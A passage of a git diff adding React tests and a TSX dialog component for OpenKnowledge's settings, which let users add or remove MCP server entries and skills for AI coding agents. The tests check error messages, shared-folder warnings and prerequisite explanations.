expect(screen.queryByRole('alertdialog')).toBeNull());+ expect(apply).toHaveBeenLastCalledWith(+ expect.arrayContaining([{ satisfierId: claudeProjectMcp, desired: 'absent' }]),+ );+ });++ test('names the shared choice even when the shared path has no display name', async () => {+ const copilotProjectMcp = satisfierId('copilot', 'mcp', 'project');+ const claudeProjectMcp = satisfierId('claude', 'mcp', 'project');+ const before = snapshotWith(diskSatisfierIds('copilot'));+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'unresolved-shared-copy',+ satisfierIds: [copilotProjectMcp, claudeProjectMcp],+ agentIds: ['copilot', 'claude'],+ pathId: editorPathId('editor-user-config', 'claude'),+ },+ ],+ withheld: [copilotProjectMcp],+ },+ snapshot: before,+ } satisfies ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();++ await renderRemoveDialog(apply, 'copilot');+ const dialog = screen.getByRole('alertdialog');+ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));++ const choice = await within(dialog).findByRole('status');+ expect(choice.textContent).toContain('Claude');+ expect(within(dialog).getByRole('button', { name: 'Remove for both' })).toBeTruthy();+ expect(within(dialog).queryByText('Something went wrong. Please try again.')).toBeNull();+ });++ test('a non-shared removal failure still shows the generic error and no widen option', async () => {+ const before = snapshotWith(diskSatisfierIds('cursor'));+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) =>+ result(before, intents.length === 0),+ );+ const user = userEvent.setup();++ await renderRemoveDialog(apply, 'cursor');+ const dialog = screen.getByRole('alertdialog', { name: 'Remove OpenKnowledge from Cursor?' });+ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));++ expect((await within(dialog).findByRole('alert')).textContent).toContain(+ 'Something went wrong. Please try again.',+ );+ expect(within(dialog).queryByRole('button', { name: 'Remove for both' })).toBeNull();+ expect(within(dialog).queryByRole('status')).toBeNull();+ });++ test('removing a paired agent says the sibling row disconnects too', async () => {+ const before = snapshotWith(diskSatisfierIds('claude'));+ const apply = vi.fn(async () => result(before));++ await renderRemoveDialog(apply, 'claude', true);+ const dialog = screen.getByRole('alertdialog');++ expect(dialog.textContent).toContain('share one setup, so removing it disconnects both');+ });++ test('removing an agent with one row makes no claim about a sibling', async () => {+ const before = snapshotWith(diskSatisfierIds('cursor'));+ const apply = vi.fn(async () => result(before));++ await renderRemoveDialog(apply, 'cursor');+ const dialog = screen.getByRole('alertdialog');++ expect(dialog.textContent).not.toContain('share one setup');+ });++ test('an agent with no global MCP surface is not offered one', async () => {+ const apply = vi.fn(async () => result(snapshotWith()));++ await renderConfigureDialog(apply, 'pi');+ const dialog = await screen.findByRole('dialog', { name: 'Pi' });++ expect(within(dialog).queryByRole('checkbox', { name: 'Global MCP server' })).toBeNull();+ expect(within(dialog).getByText('This machine')).toBeTruthy();+ expect(+ within(dialog).getByRole('checkbox', { name: 'OpenKnowledge discovery skill' }),+ ).toBeTruthy();+ expect(within(dialog).getByRole('checkbox', { name: 'Project MCP server' })).toBeTruthy();+ });++ test('the remove confirmation names the actual config file, not just the artifact', async () => {+ const withPath = snapshotWith([satisfierId('lm-studio', 'mcp', 'user')]);+ const probed = {+ ...withPath,+ probes: {+ ...withPath.probes,+ satisfiers: {+ ...withPath.probes.satisfiers,+ [satisfierId('lm-studio', 'mcp', 'user')]: {+ state: 'satisfied' as const,+ path: '~/.lmstudio/mcp.json',+ },+ },+ },+ };+ const apply = vi.fn(async () => result(probed));++ await renderRemoveDialog(apply, 'lm-studio');++ expect(await screen.findByText('~/.lmstudio/mcp.json')).toBeTruthy();+ });++ test('a group with nothing in it drops its heading rather than standing empty', async () => {+ const apply = vi.fn(async () => result(snapshotWith()));++ await renderConfigureDialog(apply, 'hermes');+ const dialog = await screen.findByRole('dialog', { name: 'Hermes' });++ expect(within(dialog).queryByText('This project')).toBeNull();+ expect(within(dialog).queryByText('Recommended')).toBeNull();+ expect(within(dialog).queryByRole('checkbox', { name: 'Project MCP server' })).toBeNull();+ expect(within(dialog).queryByRole('checkbox', { name: 'Project skill' })).toBeNull();+ expect(within(dialog).getByRole('checkbox', { name: 'Global MCP server' })).toBeTruthy();+ });+});++describe('a failed save names its reason', () => {+ function applyFailingWith(+ before: HostSnapshot,+ failure: {+ satisfierId: SatisfierId;+ agentId: AgentId;+ piece: 'mcp' | 'skill';+ scope: 'project' | 'user';+ errorId: string;+ },+ extra: Partial<ApplyAgentConnectionsResult> = {},+ ) {+ return vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [+ {+ satisfierId: failure.satisfierId,+ agentId: failure.agentId,+ piece: failure.piece,+ scope: failure.scope,+ kind: failure.piece === 'mcp' ? 'config-entry' : 'skill-bundle-copy',+ desired: 'present',+ action: 'failed',+ errorId: failure.errorId,+ },+ ],+ conflicts: [],+ withheld: [],+ },+ snapshot: before,+ ...extra,+ } as unknown as ApplyAgentConnectionsResult;+ });+ }++ async function saveAndReadAlert(agentId: AgentId, apply: ReturnType<typeof applyFailingWith>) {+ const user = userEvent.setup();+ await renderConfigureDialog(apply, agentId);+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));+ return (await within(dialog).findByRole('alert')).textContent ?? '';+ }++ test('a skill whose MCP prerequisite was not written says so, naming the part', async () => {+ const apply = applyFailingWith(snapshotWith(), {+ satisfierId: satisfierId('copilot', 'skill', 'project'),+ agentId: 'copilot',+ piece: 'skill',+ scope: 'project',+ errorId: 'dependency-failed',+ });+ const text = await saveAndReadAlert('copilot', apply);+ expect(text).toContain('Project skill');+ expect(text).toContain(+ 'This could not be set up because the MCP server entry it needs was not written.',+ );+ expect(text).not.toContain('Something went wrong');+ });++ test('a config file the writer could not parse is reported as left alone', async () => {+ const apply = applyFailingWith(snapshotWith(), {+ satisfierId: satisfierId('claude', 'mcp', 'project'),+ agentId: 'claude',+ piece: 'mcp',+ scope: 'project',+ errorId: 'write-declined',+ });+ const text = await saveAndReadAlert('claude', apply);+ expect(text).toContain('Project MCP server');+ expect(text).toContain(+ 'OpenKnowledge left this file alone because it could not parse it safely.',+ );+ });++ test('a config file the agent has not created yet says to open the agent first', async () => {+ const apply = applyFailingWith(snapshotWith(), {+ satisfierId: satisfierId('copilot', 'mcp', 'user'),+ agentId: 'copilot',+ piece: 'mcp',+ scope: 'user',+ errorId: 'surface-missing',+ });+ const text = await saveAndReadAlert('copilot', apply);+ expect(text).toContain('Global MCP server');+ expect(text).toContain('This agent has no file of this kind on this machine yet.');+ });++ test('a host that refuses to manage connections says so instead of "something went wrong"', async () => {+ const before = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ unavailable: true,+ error: 'Managing AI tool connections is unavailable in this build.',+ report: EMPTY_REPORT,+ snapshot: before,+ } satisfies ApplyAgentConnectionsResult;+ });+ const text = await saveAndReadAlert('claude', apply);+ expect(text).toContain('Managing agent connections is unavailable in this build.');+ });++ test('an unexplained failure still shows the host error text under the generic line', async () => {+ const before = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ error: 'EACCES: permission denied, open .mcp.json',+ report: EMPTY_REPORT,+ snapshot: before,+ } satisfies ApplyAgentConnectionsResult;+ });+ const text = await saveAndReadAlert('claude', apply);+ expect(text).toContain('Something went wrong. Please try again.');+ expect(text).toContain('EACCES: permission denied, open .mcp.json');+ });++ test('unticking an MCP entry a ticked skill depends on explains the pairing', async () => {+ const before = snapshotWith(diskSatisfierIds('claude'));+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'prerequisite-removed',+ satisfierIds: [+ satisfierId('claude', 'mcp', 'project'),+ satisfierId('claude', 'skill', 'project'),+ ],+ agentIds: ['claude'],+ },+ ],+ withheld: [satisfierId('claude', 'mcp', 'project')],+ },+ snapshot: before,+ } as unknown as ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();+ await renderConfigureDialog(apply, 'claude');+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('checkbox', { name: 'Project MCP server' }));+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));+ const text = (await within(dialog).findByRole('alert')).textContent ?? '';+ expect(text).toContain(+ 'Project skill needs Project MCP server. Turn both off, or keep both on.',+ );+ });++ test('a failed removal names its reason too', async () => {+ const before = snapshotWith(diskSatisfierIds('claude'));+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [+ {+ satisfierId: satisfierId('claude', 'mcp', 'user'),+ agentId: 'claude',+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+ desired: 'absent',+ action: 'failed',+ errorId: 'write-failed',+ },+ ],+ conflicts: [],+ withheld: [],+ },+ snapshot: before,+ } as unknown as ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();+ await renderRemoveDialog(apply, 'claude');+ const dialog = await screen.findByRole('alertdialog');+ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));+ const text = (await within(dialog).findByRole('alert')).textContent ?? '';+ expect(text).toContain('Global MCP server');+ expect(text).toContain('Writing this file failed. Check the OpenKnowledge log for the reason.');+ });+});++describe('shared folders in the removal dialog', () => {+ function withSharedFolder(base: HostSnapshot, id: SatisfierId, peers: string[]): HostSnapshot {+ return {+ ...base,+ probes: {+ ...base.probes,+ satisfiers: {+ ...base.probes.satisfiers,+ [id]: { ...base.probes.satisfiers[id], sharedWith: peers },+ },+ },+ };+ }++ test('the removal dialog says whose folder a listed skill also is', async () => {+ const skillId = satisfierId('cursor', 'skill', 'project');+ const snapshot = withSharedFolder(snapshotWith(diskSatisfierIds('cursor')), skillId, [+ 'claude',+ ]);+ await renderRemoveDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('alertdialog');+ expect(dialog.textContent).toContain("This folder is also Claude's.");+ });++ test('the configure checkbox is described by the shared-folder line', async () => {+ const skillId = satisfierId('cursor', 'skill', 'project');+ const snapshot = withSharedFolder(snapshotWith(diskSatisfierIds('cursor')), skillId, [+ 'claude',+ ]);+ await renderConfigureDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });+ const box = within(dialog).getByRole('checkbox', { name: 'Project skill' });+ const ids = (box.getAttribute('aria-describedby') ?? '').split(' ').filter(Boolean);+ const shared = ids+ .map((id) => document.getElementById(id))+ .find((el) => el?.textContent?.includes('This folder is also'));+ expect(shared?.textContent).toContain("This folder is also Claude's.");+ });++ test('a peer with no row of its own blocks the removal and points at Skills Studio', async () => {+ const skillId = satisfierId('cursor', 'skill', 'project');+ const before = withSharedFolder(snapshotWith(diskSatisfierIds('cursor')), skillId, [+ 'lm-studio',+ ]);+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'unresolved-shared-copy',+ satisfierIds: [skillId],+ agentIds: ['cursor', 'lm-studio'],+ },+ ],+ withheld: [skillId],+ },+ snapshot: before,+ } as unknown as ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();+ await renderRemoveDialog(apply, 'cursor');+ const dialog = await screen.findByRole('alertdialog');+ await user.click(within(dialog).getByRole('button', { name: 'Remove' }));+ const note = await within(dialog).findByRole('status');+ expect(note.textContent).toContain('shared with LM Studio');+ expect(note.textContent).toContain('Unlink the folder in Skills Studio first.');+ expect(within(dialog).queryByRole('button', { name: 'Remove for both' })).toBeNull();+ expect(+ (within(dialog).getByRole('button', { name: 'Remove' }) as HTMLButtonElement).disabled,+ ).toBe(true);+ });+});++describe('a prerequisite that cannot be added says why', () => {+ test('a config the agent has not created yet is not called unrecognized', async () => {+ const before = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [],+ conflicts: [+ {+ kind: 'prerequisite-unavailable',+ satisfierIds: [+ satisfierId('copilot', 'mcp', 'user'),+ satisfierId('copilot', 'skill', 'project'),+ ],+ agentIds: ['copilot'],+ blockedReason: 'structural-na',+ },+ ],+ withheld: [satisfierId('copilot', 'skill', 'project')],+ },+ snapshot: before,+ } as unknown as ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();+ await renderConfigureDialog(apply, 'copilot');+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));+ const text = (await within(dialog).findByRole('alert')).textContent ?? '';+ expect(text).toContain(+ 'Project skill needs Global MCP server, and this agent has no file of that kind on this machine yet.',+ );+ expect(text).not.toContain('does not recognize');+ });+});++describe('a save that fails twice names both reasons', () => {+ test('one line per failed part, each with its own reason', async () => {+ const before = snapshotWith();+ const apply = vi.fn(async (intents: readonly ApplyIntent[]) => {+ if (intents.length === 0) return result(before);+ return {+ ok: false,+ report: {+ actions: [+ {+ satisfierId: satisfierId('cursor', 'mcp', 'project'),+ agentId: 'cursor',+ piece: 'mcp',+ scope: 'project',+ kind: 'config-entry',+ desired: 'present',+ action: 'failed',+ errorId: 'write-failed',+ },+ {+ satisfierId: satisfierId('cursor', 'mcp', 'user'),+ agentId: 'cursor',+ piece: 'mcp',+ scope: 'user',+ kind: 'config-entry',+ desired: 'present',+ action: 'failed',+ errorId: 'surface-missing',+ },+ ],+ conflicts: [],+ withheld: [],+ },+ snapshot: before,+ } as unknown as ApplyAgentConnectionsResult;+ });+ const user = userEvent.setup();+ await renderConfigureDialog(apply, 'cursor');+ const dialog = await screen.findByRole('dialog');+ await user.click(within(dialog).getByRole('button', { name: 'Save changes' }));+ const text = (await within(dialog).findByRole('alert')).textContent ?? '';++ expect(text).toContain('Project MCP server');+ expect(text).toContain('Writing this file failed.');+ expect(text).toContain('Global MCP server');+ expect(text).toContain('This agent has no file of this kind on this machine yet.');+ expect(text).not.toContain('Something went wrong');+ });+});++describe('the save button says when it will replace something', () => {+ test('ticking a part that replaces a foreign entry relabels Save', async () => {+ const mcp = satisfierId('cursor', 'mcp', 'project');+ const snapshot = withSurfaceStates(snapshotWith(), { [mcp]: 'foreign-replaceable' });+ const user = userEvent.setup();+ await renderConfigureDialog(async () => result(snapshot), 'cursor');+ const dialog = await screen.findByRole('dialog', { name: 'Cursor' });++ expect(within(dialog).getByRole('button', { name: 'Save changes' })).toBeTruthy();+ await user.click(within(dialog).getByRole('checkbox', { name: 'Project MCP server' }));++ expect(within(dialog).getByRole('button', { name: 'Replace and save' })).toBeTruthy();+ expect(within(dialog).queryByRole('button', { name: 'Save changes' })).toBeNull();+ });+});diff --git a/packages/app/src/components/settings/AgentConnectionDialogs.tsx b/packages/app/src/components/settings/AgentConnectionDialogs.tsxnew file mode 100644index 000000000..fcb5c824c--- /dev/null+++ b/packages/app/src/components/settings/AgentConnectionDialogs.tsx@@ -0,0 +1,1151 @@+import {+ type AgentId,+ type ApplyIntent,+ type BlockedReason,+ buildConnectionsView,+ CONNECTION_ROW_AGENT_IDS,+ type ConnectionCell,+ EDITOR_LABELS,+ type HostSnapshot,+ type PlanConflict,+ type ConnectionRow as RegistryConnectionRow,+ requiresExplicitConsent,+ type SatisfierId,+ type SurfaceState,+} from '@inkeep/open-knowledge-core';+import { Plural, Trans, useLingui } from '@lingui/react/macro';+import { Folder, Info, Monitor, Sparkles, TriangleAlert, X } from 'lucide-react';+import { type ReactNode, useState } from 'react';+import { AgentBrandIcon } from '@/components/AgentIconCluster';+import {+ AlertDialog,+ AlertDialogAction,+ AlertDialogBody,+ AlertDialogCancel,+ AlertDialogContent,+ AlertDialogDescription,+ AlertDialogFooter,+ AlertDialogHeader,+ AlertDialogTitle,+} from '@/components/ui/alert-dialog';+import { Badge } from '@/components/ui/badge';+import { Button } from '@/components/ui/button';+import { Checkbox } from '@/components/ui/checkbox';+import {+ Dialog,+ DialogBody,+ DialogContent,+ DialogDescription,+ DialogFooter,+ DialogHeader,+ DialogTitle,+} from '@/components/ui/dialog';+import { Field, FieldContent, FieldLegend, FieldSet, FieldTitle } from '@/components/ui/field';+import { Label } from '@/components/ui/label';+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip';+import { connectionPathDisplay, sharedPathDisplays } from '@/lib/agent-connection-paths';+import type { ApplyAgentConnectionsResult } from '@/lib/agent-connections';+import { guidanceText, troubleshootingText } from '@/lib/agent-guidance-copy';+import { formatToolList } from '@/lib/tool-list-format';++type ConnectionPart = 'projectMcp' | 'projectSkill' | 'globalMcp' | 'discoverySkill';++interface ConnectionParts {+ projectMcp: boolean;+ projectSkill: boolean;+ globalMcp: boolean;+ discoverySkill: boolean;+}++const EMPTY_PARTS: ConnectionParts = {+ projectMcp: false,+ projectSkill: false,+ globalMcp: false,+ discoverySkill: false,+};++const CONNECTION_PARTS: readonly ConnectionPart[] = [+ 'projectMcp',+ 'projectSkill',+ 'globalMcp',+ 'discoverySkill',+];++const PART_GROUP: Readonly<Record<ConnectionPart, 'project' | 'machine'>> = {+ projectMcp: 'project',+ projectSkill: 'project',+ globalMcp: 'machine',+ discoverySkill: 'machine',+};++function presentParts(+ connection: AgentConnection,+ group: 'project' | 'machine',+): readonly (readonly [ConnectionPart, ConnectionCell])[] {+ return CONNECTION_PARTS.flatMap((part) => {+ if (PART_GROUP[part] !== group) return [];+ const cell = connection.cells[part];+ return cell === undefined ? [] : [[part, cell] as const];+ });+}++type VisibleAgentId = (typeof CONNECTION_ROW_AGENT_IDS)[number];++export interface AgentConnection {+ id: VisibleAgentId;+ label: string;+ row: RegistryConnectionRow;+ cells: Partial<Record<ConnectionPart, ConnectionCell>>;+}++export type ApplyConnections = (+ intents: readonly ApplyIntent[],+) => Promise<ApplyAgentConnectionsResult>;++function partForCell(cell: ConnectionCell): ConnectionPart | null {+ if (cell.scope === 'project' && cell.piece === 'mcp') return 'projectMcp';+ if (cell.scope === 'project' && cell.piece === 'skill') return 'projectSkill';+ if (cell.scope === 'user' && cell.piece === 'mcp') return 'globalMcp';+ if (cell.scope === 'user' && cell.piece === 'skill') return 'discoverySkill';+ return null;+}++function connectionFromRow(row: RegistryConnectionRow): AgentConnection | null {+ if (!CONNECTION_ROW_AGENT_IDS.includes(row.agentId as VisibleAgentId)) return null;+ const id = row.agentId as VisibleAgentId;+ const cells: Partial<Record<ConnectionPart, ConnectionCell>> = {};+ for (const group of row.scopes) {+ for (const cell of group.cells) {+ const part = partForCell(cell);+ if (part !== null) cells[part] = cell;+ }+ }+ return { id, label: connectionLabel(id), row, cells };+}++export function connectionLabel(id: VisibleAgentId): string {+ return EDITOR_LABELS[id];+}++export function ConnectionAgentIcon({+ agentId,+ className,+}: {+ agentId: VisibleAgentId;+ className: string;+}) {+ if (agentId === 'lm-studio') {+ return <Sparkles aria-hidden className={className} strokeWidth={1.5} />;+ }+ return <AgentBrandIcon host={agentId} aria-hidden className={className} />;+}++export function connectionsFromSnapshot(snapshot: HostSnapshot): AgentConnection[] {+ return buildConnectionsView({+ agentIds: CONNECTION_ROW_AGENT_IDS,+ probes: snapshot.probes,+ detection: snapshot.detection,+ }).rows.flatMap((row) => {+ const connection = connectionFromRow(row);+ return connection === null ? [] : [connection];+ });+}++export function partsForConnection(connection: AgentConnection): ConnectionParts {+ return {+ projectMcp: connection.cells.projectMcp?.checked === true,+ projectSkill: connection.cells.projectSkill?.checked === true,+ globalMcp: connection.cells.globalMcp?.checked === true,+ discoverySkill: connection.cells.discoverySkill?.checked === true,+ };+}++function defaultPartsForConnection(connection: AgentConnection): ConnectionParts {+ const current = partsForConnection(connection);+ if (installedCount(current) > 0) return current;+ return Object.fromEntries(+ CONNECTION_PARTS.map((part) => {+ const cell = connection.cells[part];+ return [+ part,+ cell !== undefined && cell.disabledReason === null && !requiresExplicitConsent(cell.state),+ ];+ }),+ ) as unknown as ConnectionParts;+}++export function installedCount(parts: ConnectionParts): number {+ return Object.values(parts).filter(Boolean).length;+}++function partsEqual(left: ConnectionParts, right: ConnectionParts): boolean {+ return CONNECTION_PARTS.every((part) => left[part] === right[part]);+}++export function hasConfigurableCell(connection: AgentConnection): boolean {+ return Object.values(connection.cells).some((cell) => cell.disabledReason === null);+}++export function allAvailableCellsChecked(connection: AgentConnection): boolean {+ const cells = Object.values(connection.cells);+ return cells.length > 0 && cells.every((cell) => cell.checked);+}++function PartInfo({ children }: { children: ReactNode }) {+ const { t } = useLingui();+ return (+ <Tooltip>+ <TooltipTrigger asChild>+ <Button variant="ghost" size="icon-sm" aria-label={t`More information`}>+ <Info aria-hidden />+ </Button>+ </TooltipTrigger>+ <TooltipContent className="max-w-72">{children}</TooltipContent>+ </Tooltip>+ );+}++function PartExceptionChip({+ message,+ path,+ info,+}: {+ message: string;+ path: string | null;+ info: ReactNode;+}) {+ const { t } = useLingui();+ return (+ <Tooltip>+ <TooltipTrigger asChild>+ <Button+ variant="ghost"+ size="icon-sm"+ className="text-amber-700 hover:text-amber-700 dark:text-amber-400 dark:hover:text-amber-400"+ aria-label={t`Why this needs attention`}+ >+ <TriangleAlert aria-hidden />+ </Button>+ </TooltipTrigger>+ <TooltipContent className="max-w-72">+ <span className="flex flex-col gap-1.5">+ <span className="font-medium">{message}</span>+ {info}+ {path === null ? null : (+ <code className="wrap-break-word font-mono opacity-80">{path}</code>+ )}+ </span>+ </TooltipContent>+ </Tooltip>+ );+}++function PartCheckbox({+ id,+ checked,+ disabled,+ exception,+ state,+ title,+ description,+ info,+ path,+ sharedPaths,+ alsoAffects,+ note,+ onCheckedChange,+}: {+ id: string;+ checked: boolean;+ disabled: boolean;+ exception: ConnectionCell['exception'];+ state: SurfaceState;+ title: ReactNode;+ description: ReactNode;+ note: string | null;+ info: ReactNode;+ path: string | null;+ sharedPaths: readonly string[];+ alsoAffects: string | null;+ onCheckedChange: (checked: boolean) => void;+}) {+ const { t } = useLingui();+ const isWarning = exception === 'warning' || exception === 'error';+ const warning = !isWarning+ ? null+ : state === 'foreign'+ ? t`OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format.`+ : state === 'foreign-replaceable'+ ? t`OpenKnowledge does not recognize this entry. Turning it on replaces it.`+ : t`This entry changed after OpenKnowledge wrote it. Turning it on replaces it.`;+ const warningId = warning === null ? undefined : `${id}-warning`;+ const sharedId = alsoAffects === null ? undefined : `${id}-shared`;+ const describedBy = [warningId, sharedId].filter(Boolean).join(' ') || undefined;+ return (+ <Field+ orientation="horizontal"+ className="items-start gap-3"+ data-disabled={disabled || undefined}+ >+ {}+ <div className="flex h-7 items-center">+ <Checkbox+ id={id}+ checked={checked}+ disabled={disabled}+ aria-describedby={describedBy}+ onCheckedChange={(value) => onCheckedChange(value === true)}+ />+ </div>+ <FieldContent>+ <div className="flex items-center gap-1">+ <Label htmlFor={id} className="cursor-pointer">+ <FieldTitle>{title}</FieldTitle>+ </Label>+ {}+ {warning !== null ? (+ <PartExceptionChip message={warning} path={path} info={disabled ? null : info} />+ ) : (+ <PartInfo>+ {}+ <span className="flex flex-col gap-1.5">+ {info}+ {path === null ? null : (+ <code className="wrap-break-word font-mono opacity-80">{path}</code>+ )}+ {sharedPaths.map((shared) => (+ <code key={shared} className="wrap-break-word font-mono opacity-80">+ {shared}+ </code>+ ))}+ </span>+ </PartInfo>+ )}+ </div>+ <p className="text-sm leading-relaxed text-muted-foreground">{description}</p>+ {note === null ? null : (+ <p+ className="text-sm leading-relaxed text-muted-foreground"+ data-testid={`${id}-troubleshooting`}+ >+ {note}+ </p>+ )}+ {}+ {alsoAffects === null ? null : (+ <p id={sharedId} className="text-sm leading-relaxed text-amber-700 dark:text-amber-400">+ {t`This folder is also ${alsoAffects}'s.`}+ </p>+ )}+ {warningId === undefined ? null : (+ <span id={warningId} className="sr-only">+ {warning}+ </span>+ )}+ </FieldContent>+ </Field>+ );+}++function canChangePart(connection: AgentConnection, part: ConnectionPart): boolean {+ const cell = connection.cells[part];+ if (cell === undefined) return false;+ return cell.disabledReason === null;+}++function PartControl({+ part,+ cell,+ draft,+ setPart,+}: {+ part: ConnectionPart;+ cell: ConnectionCell;+ draft: ConnectionParts;+ setPart: (part: ConnectionPart, checked: boolean) => void;+}) {+ const { i18n, t } = useLingui();+ const disabled = cell.disabledReason !== null;+ const titles: Record<ConnectionPart, string> = {+ projectMcp: t`Project MCP server`,+ projectSkill: t`Project skill`,+ globalMcp: t`Global MCP server`,+ discoverySkill: t`OpenKnowledge discovery skill`,+ };++ const blockedReasons: Record<BlockedReason, string> = {+ foreign: t`OpenKnowledge does not recognize this entry, and cannot safely replace it in this file's format.`,+ 'structural-na': t`This agent has no file of this kind on this machine yet. Open the agent once, then check again.`,+ 'not-installable': t`This agent gives OpenKnowledge no way to set this up for you. Its setup guide has the manual steps.`,+ 'agent-undetected': t`OpenKnowledge could not find this agent on this machine.`,+ };+ function blockedReason(): string {+ const reason = cell.disabledReason;+ return reason == null+ ? t`This option cannot be changed automatically.`+ : blockedReasons[reason];+ }++ const foreignInfo =+ cell.state === 'foreign-replaceable'+ ? t`Replaces the existing "open-knowledge" entry in this file. Other servers in the file are left alone.`+ : null;++ const alsoAffects =+ cell.piece === 'skill' && cell.sharedFolderWith.length > 0+ ? formatToolList(cell.sharedFolderWith.map(agentLabel), i18n.locale)+ : null;+ const exception = cell.exception;+ const isWarning = exception === 'warning' || exception === 'error';+ const sharedPaths = sharedPathDisplays(cell.pathId, cell.sharedFolderWith);+ const guidance = guidanceText(cell.guidance);+ const common = {+ id: `${cell.agentId}-${part}`,+ checked: draft[part],+ disabled,+ exception,+ state: cell.state,+ note: cell.checked && !disabled ? troubleshootingText(cell.troubleshooting) : null,+ path: disabled && !isWarning ? null : (cell.resolvedPath ?? connectionPathDisplay(cell.pathId)),+ sharedPaths: disabled && !isWarning ? [] : sharedPaths,+ alsoAffects: disabled ? null : alsoAffects,+ onCheckedChange: (checked: boolean) => setPart(part, checked),+ };++ switch (part) {+ case 'projectMcp':+ return (+ <PartCheckbox+ {...common}+ title={titles[part]}+ description={+ guidance ?? (+ <Trans>+ Connects the agent to this project so it can read, search, and edit your documents.+ </Trans>+ )+ }+ info={+ disabled+ ? blockedReason()+ : (foreignInfo ?? (+ <Trans>Adds an OpenKnowledge MCP entry to this project's agent config.</Trans>+ ))+ }+ />+ );+ case 'projectSkill':+ return (+ <PartCheckbox+ {...common}+ title={titles[part]}+ description={+ guidance ?? (+ <Trans>+ Gives the agent instructions for working with your documents and keeps its edits+ attributed.+ </Trans>+ )+ }+ info={+ disabled ? (+ blockedReason()+ ) : (+ <Trans>Installs the OpenKnowledge project skill for this agent.</Trans>+ )+ }+ />+ );+ case 'globalMcp':+ return (+ <PartCheckbox+ {...common}+ title={titles[part]}+ description={+ guidance ?? (+ <Trans>Connects the agent to OpenKnowledge in every project on this machine.</Trans>+ )+ }+ info={+ disabled+ ? blockedReason()+ : (foreignInfo ?? (+ <Trans>Adds a global OpenKnowledge MCP entry for this agent.</Trans>+ ))+ }+ />+ );+ case 'discoverySkill':+ return (+ <PartCheckbox+ {...common}+ title={titles[part]}+ description={+ guidance ?? (+ <Trans>Help your agents discover and use OpenKnowledge in any project.</Trans>+ )+ }+ info={+ disabled ? (+ blockedReason()+ ) : (+ <Trans>Installs the OpenKnowledge discovery skill for this agent.</Trans>+ )+ }+ />+ );+ }+}++type ReportedAction = ApplyAgentConnectionsResult['report']['actions'][number];++function failedPartTitle(failed: ReportedAction): ReactNode | null {+ if (failed.piece === 'mcp' && failed.scope === 'project') {+ return <Trans>Project MCP server</Trans>;+ }+ if (failed.piece === 'skill' && failed.scope === 'project') {+ return <Trans>Project skill</Trans>;+ }+ if (failed.piece === 'mcp' && failed.scope === 'user') {+ return <Trans>Global MCP server</Trans>;+ }+ if (failed.piece === 'skill' && failed.scope === 'user') {+ return <Trans>OpenKnowledge discovery skill</Trans>;+ }+ return null;+}++function prerequisitePair(+ result: ApplyAgentConnectionsResult,+ connection: AgentConnection,+ titles: Record<ConnectionPart, string>,+ kind: 'prerequisite-unavailable' | 'prerequisite-removed',+): {+ dependent: string;+ prerequisite: string;+ blockedReason: PlanConflict['blockedReason'];+} | null {+ const conflict = result.report.conflicts.find((entry) => entry.kind === kind);+ if (conflict === undefined) return null;+ const partOf = (id: SatisfierId): ConnectionPart | undefined =>+ CONNECTION_PARTS.find((part) => connection.cells[part]?.satisfierId === id);+ const [prerequisiteId, dependentId] = conflict.satisfierIds;+ const prerequisite = prerequisiteId === undefined ? undefined : partOf(prerequisiteId);+ const dependent = dependentId === undefined ? undefined : partOf(dependentId);+ if (prerequisite === undefined || dependent === undefined) return null;+ return {+ dependent: titles[dependent],+ prerequisite: titles[prerequisite],+ blockedReason: conflict.blockedReason,+ };+}++function ApplyFailureAlert({+ result,+ connection,+}: {+ result: ApplyAgentConnectionsResult;+ connection: AgentConnection;+}) {+ const { t } = useLingui();+ const titles: Record<ConnectionPart, string> = {+ projectMcp: t`Project MCP server`,+ projectSkill: t`Project skill`,+ globalMcp: t`Global MCP server`,+ discoverySkill: t`OpenKnowledge discovery skill`,+ };+ const remedy = prerequisitePair(result, connection, titles, 'prerequisite-unavailable');+ if (remedy !== null) {+ const { dependent, prerequisite } = remedy;+ const remedyText = (): string => {+ switch (remedy.blockedReason) {+ case 'foreign':+ return t`${dependent} needs ${prerequisite}, and OpenKnowledge cannot safely replace that entry in this file's format.`;+ case 'structural-na':+ return t`${dependent} needs ${prerequisite}, and this agent has no file of that kind on this machine yet. Open the agent 